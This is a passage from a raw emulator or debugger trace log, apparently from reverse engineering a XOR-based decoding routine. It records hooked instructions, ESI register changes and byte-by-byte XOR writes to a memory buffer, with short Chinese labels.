寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1000dcd] MEM[0x2003f28] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1000dcd] MEM[0x2003f29] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x31
[XOR @0x1000dcd] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000dcd] MEM[0x2003f2b] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000dcd] MEM[0x2003f2c] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1000dcd] MEM[0x2003f2d] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f2d ← 0x03
[XOR @0x1000dcd] MEM[0x2003f2e] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1000dcd] MEM[0x2003f2f] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1000dcd] MEM[0x2003f30] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1000dcd] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1000dcd] MEM[0x2003f32] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x32
[XOR @0x1000dcd] MEM[0x2003f33] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x03
[XOR @0x1000dcd] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x1000dcd] MEM[0x2003f35] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f35 ← 0x30
[XOR @0x1000dcd] MEM[0x2003f36] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x02
[XOR @0x1000dcd] MEM[0x2003f37] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x30
[XOR @0x1000dcd] MEM[0x2003f38] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f38 ← 0x33
[XOR @0x1000dcd] MEM[0x2003f39] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x31
[XOR @0x1000dcd] MEM[0x2003f3a] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f3a ← 0x02
[STATE] ESI ← 0x18
[XOR @0x10007a9] MEM[0x2003f20] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x010007af: cmp esi, 0x31
[XOR @0x10007a9] MEM[0x2003f21] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x30
[XOR @0x10007a9] MEM[0x2003f22] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x32
[XOR @0x10007a9] MEM[0x2003f23] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x00
[XOR @0x10007a9] MEM[0x2003f24] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x00
[XOR @0x10007a9] MEM[0x2003f25] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x33
[XOR @0x10007a9] MEM[0x2003f26] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x30
[XOR @0x10007a9] MEM[0x2003f27] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x00
[XOR @0x10007a9] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10007a9] MEM[0x2003f29] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x33
[XOR @0x10007a9] MEM[0x2003f2a] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x00
[XOR @0x10007a9] MEM[0x2003f2b] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x30
[XOR @0x10007a9] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x10007a9] MEM[0x2003f2d] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x33
[XOR @0x10007a9] MEM[0x2003f2e] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x31
[XOR @0x10007a9] MEM[0x2003f2f] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x33
[XOR @0x10007a9] MEM[0x2003f30] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x03
[XOR @0x10007a9] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x10007a9] MEM[0x2003f32] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x02
[XOR @0x10007a9] MEM[0x2003f33] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x03
[XOR @0x10007a9] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x10007a9] MEM[0x2003f35] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x30
[XOR @0x10007a9] MEM[0x2003f36] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x02
[XOR @0x10007a9] MEM[0x2003f37] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f37 ← 0x33
[XOR @0x10007a9] MEM[0x2003f38] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f38 ← 0x03
[STATE] ESI ← 0x58
[HOOK MOV] @0x010010df: mov esi, 0x18
[XOR @0x10010f3] MEM[0x2003f20] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x010010f9: cmp esi, 0x31
[XOR @0x10010f3] MEM[0x2003f21] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f21 ← 0x01
[XOR @0x10010f3] MEM[0x2003f22] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x30
[XOR @0x10010f3] MEM[0x2003f23] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f23 ← 0x32
[XOR @0x10010f3] MEM[0x2003f24] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x30
[XOR @0x10010f3] MEM[0x2003f25] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f25 ← 0x03
[XOR @0x10010f3] MEM[0x2003f26] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f26 ← 0x31
[XOR @0x10010f3] MEM[0x2003f27] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f27 ← 0x01
[XOR @0x10010f3] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10010f3] MEM[0x2003f29] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x31
[XOR @0x10010f3] MEM[0x2003f2a] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x33
[XOR @0x10010f3] MEM[0x2003f2b] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f2b ← 0x32
[XOR @0x10010f3] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x10010f3] MEM[0x2003f2d] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x03
[XOR @0x10010f3] MEM[0x2003f2e] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f2e ← 0x03
[XOR @0x10010f3] MEM[0x2003f2f] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2f ← 0x30
[XOR @0x10010f3] MEM[0x2003f30] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f30 ← 0x31
[XOR @0x10010f3] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x10010f3] MEM[0x2003f32] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x32
[XOR @0x10010f3] MEM[0x2003f33] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x03
[XOR @0x10010f3] MEM[0x2003f34] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x02
[XOR @0x10010f3] MEM[0x2003f35] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x30
[XOR @0x10010f3] MEM[0x2003f36] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x02
[XOR @0x10010f3] MEM[0x2003f37] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f37 ← 0x33
[XOR @0x10010f3] MEM[0x2003f38] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f38 ← 0x02
[STATE] ESI ← 0x3B
[HOOK MOV] @0x0100136f: mov esi, 0x1d
[XOR @0x1001383] MEM[0x2003f20] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01001389: cmp esi, 0x3b
[XOR @0x1001383] MEM[0x2003f21] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x00
[XOR @0x1001383] MEM[0x2003f22] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x31
[XOR @0x1001383] MEM[0x2003f23] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x32
[XOR @0x1001383] MEM[0x2003f24] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x32
[XOR @0x1001383] MEM[0x2003f25] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x30
[XOR @0x1001383] MEM[0x2003f26] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x33
[XOR @0x1001383] MEM[0x2003f27] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x01
[XOR @0x1001383] MEM[0x2003f28] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x01
[XOR @0x1001383] MEM[0x2003f29] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x03
[XOR @0x1001383] MEM[0x2003f2a] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x30
[XOR @0x1001383] MEM[0x2003f2b] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x00
[XOR @0x1001383] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x1001383] MEM[0x2003f2d] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1001383] MEM[0x2003f2e] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1001383] MEM[0x2003f2f] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x30
[XOR @0x1001383] MEM[0x2003f30] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x31
[XOR @0x1001383] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x1001383] MEM[0x2003f32] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f32 ← 0x02
[XOR @0x1001383] MEM[0x2003f33] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x03
[XOR @0x1001383] MEM[0x2003f34] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f34 ← 0x33
[XOR @0x1001383] MEM[0x2003f35] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x02
[XOR @0x1001383] MEM[0x2003f36] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f36 ← 0x30
[XOR @0x1001383] MEM[0x2003f37] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f37 ← 0x03
[XOR @0x1001383] MEM[0x2003f38] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f38 ← 0x31
[XOR @0x1001383] MEM[0x2003f39] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f39 ← 0x30
[XOR @0x1001383] MEM[0x2003f3a] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f3a ← 0x03
[XOR @0x1001383] MEM[0x2003f3b] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f3b ← 0x31
[XOR @0x1001383] MEM[0x2003f3c] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f3c ← 0x00
[XOR @0x1001383] MEM[0x2003f3d] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f3d ← 0x30
[STATE] ESI ← 0x55
[HOOK MOV] @0x0100076b: mov esi, 0x1d
[XOR @0x100077f] MEM[0x2003f20] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x01000785: cmp esi, 0x3b
[XOR @0x100077f] MEM[0x2003f21] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x01
[XOR @0x100077f] MEM[0x2003f22] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f22 ← 0x30
[XOR @0x100077f] MEM[0x2003f23] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x32
[XOR @0x100077f] MEM[0x2003f24] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x30
[XOR @0x100077f] MEM[0x2003f25] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100077f] MEM[0x2003f26] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x31
[XOR @0x100077f] MEM[0x2003f27] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x01
[XOR @0x100077f] MEM[0x2003f28] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f28 ← 0x31
[XOR @0x100077f] MEM[0x2003f29] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f29 ← 0x31
[XOR @0x100077f] MEM[0x2003f2a] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2a ← 0x33
[XOR @0x100077f] MEM[0x2003f2b] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x32
[XOR @0x100077f] MEM[0x2003f2c] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x02
[XOR @0x100077f] MEM[0x2003f2d] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x03
[XOR @0x100077f] MEM[0x2003f2e] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x03
[XOR @0x100077f] MEM[0x2003f2f] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x30
[XOR @0x100077f] MEM[0x2003f30] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x31
[XOR @0x100077f] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x100077f] MEM[0x2003f32] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x02
[XOR @0x100077f] MEM[0x2003f33] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f33 ← 0x02
[XOR @0x100077f] MEM[0x2003f34] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x03
[XOR @0x100077f] MEM[0x2003f35] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f35 ← 0x30
[XOR @0x100077f] MEM[0x2003f36] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f36 ← 0x00
[XOR @0x100077f] MEM[0x2003f37] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f37 ← 0x00
[XOR @0x100077f] MEM[0x2003f38] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f38 ← 0x00
[XOR @0x100077f] MEM[0x2003f39] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f39 ← 0x31
[XOR @0x100077f] MEM[0x2003f3a] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f3a ← 0x32
[XOR @0x100077f] MEM[0x2003f3b] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f3b ← 0x00
[XOR @0x100077f] MEM[0x2003f3c] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x33
[XOR @0x100077f] MEM[0x2003f3d] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f3d ← 0x02
[STATE] ESI ← 0x48
[HOOK MOV] @0x01000936: mov esi, 0xe
[XOR @0x100094a] MEM[0x2003f20] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01000950: cmp esi, 0x1d
[XOR @0x100094a] MEM[0x2003f21] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x31
[XOR @0x100094a] MEM[0x2003f22] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x01
[XOR @0x100094a] MEM[0x2003f23] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x33
[XOR @0x100094a] MEM[0x2003f24] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x32
[XOR @0x100094a] MEM[0x2003f25] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x01
[XOR @0x100094a] MEM[0x2003f26] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x32
[XOR @0x100094a] MEM[0x2003f27] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f27 ← 0x31
[XOR @0x100094a] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x100094a] MEM[0x2003f29] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x31
[XOR @0x100094a] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x100094a] MEM[0x2003f2b] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x03
[XOR @0x100094a] MEM[0x2003f2c] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x30
[XOR @0x100094a] MEM[0x2003f2d] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x03
[XOR @0x100094a] MEM[0x2003f2e] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x30
[STATE] ESI ← 0x0A
[HOOK MOV] @0x0100081b: mov esi, 0x3
[HOOK MOV] @0x01000820: mov esi, 0x2f
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01000836: cmp esi, 0x7
[WRITE] @0x2003f21 ← 0x03
[WRITE] @0x2003f22 ← 0x00
[WRITE] @0x2003f23 ← 0x01
[STATE] ESI ← 0x1C
[HOOK MOV] @0x01001257: mov esi, 0x18
[XOR @0x100126b] MEM[0x2003f20] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x01001271: cmp esi, 0x31
[XOR @0x100126b] MEM[0x2003f21] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f21 ← 0x32
[XOR @0x100126b] MEM[0x2003f22] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x32
[XOR @0x100126b] MEM[0x2003f23] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x01
[XOR @0x100126b] MEM[0x2003f24] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f24 ← 0x01
[XOR @0x100126b] MEM[0x2003f25] 0x01 ^ AL(0x02) → 0x03
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x03
[XOR @0x100126b] MEM[0x2003f26] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x33
[XOR @0x100126b] MEM[0x2003f27] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x30
[XOR @0x100126b] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x100126b] MEM[0x2003f29] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f29 ← 0x33
[XOR @0x100126b] MEM[0x2003f2a] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x00
[XOR @0x100126b] MEM[0x2003f2b] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f2b ← 0x01
[XOR @0x100126b] MEM[0x2003f2c] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f2c ← 0x30
[XOR @0x100126b] MEM[0x2003f2d] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x33
[XOR @0x100126b] MEM[0x2003f2e] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x02
[XOR @0x100126b] MEM[0x2003f2f] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f2f ← 0x33
[XOR @0x100126b] MEM[0x2003f30] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f30 ← 0x03
[XOR @0x100126b] MEM[0x2003f31] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f31 ← 0x01
[XOR @0x100126b] MEM[0x2003f32] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f32 ← 0x32
[XOR @0x100126b] MEM[0x2003f33] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f33 ← 0x02
[XOR @0x100126b] MEM[0x2003f34] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f34 ← 0x03
[XOR @0x100126b] MEM[0x2003f35] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f35 ← 0x30
[XOR @0x100126b] MEM[0x2003f36] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f36 ← 0x00
[XOR @0x100126b] MEM[0x2003f37] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f37 ← 0x30
[XOR @0x100126b] MEM[0x2003f38] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f38 ← 0x32
[STATE] ESI ← 0x1B
[HOOK MOV] @0x010008d8: mov esi, 0x8
[XOR @0x10008ec] MEM[0x2003f20] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x010008f2: cmp esi, 0x11
[XOR @0x10008ec] MEM[0x2003f21] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x01
[XOR @0x10008ec] MEM[0x2003f22] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x32
[XOR @0x10008ec] MEM[0x2003f23] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x00
[XOR @0x10008ec] MEM[0x2003f24] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x31
[XOR @0x10008ec] MEM[0x2003f25] 0x03 ^ AL(0x33) → 0x30
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x30
[XOR @0x10008ec] MEM[0x2003f26] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f26 ← 0x31
[XOR @0x10008ec] MEM[0x2003f27] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x03
[XOR @0x10008ec] MEM[0x2003f28] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x32
[STATE] ESI ← 0x2F
[HOOK MOV] @0x01000ca7: mov esi, 0x8
[XOR @0x1000cbb] MEM[0x2003f20] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f20 ← 0x33
[HOOK CMP] @0x01000cc1: cmp esi, 0x11
[XOR @0x1000cbb] MEM[0x2003f21] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x32
[XOR @0x1000cbb] MEM[0x2003f22] 0x32 ^ AL(0x00) → 0x32
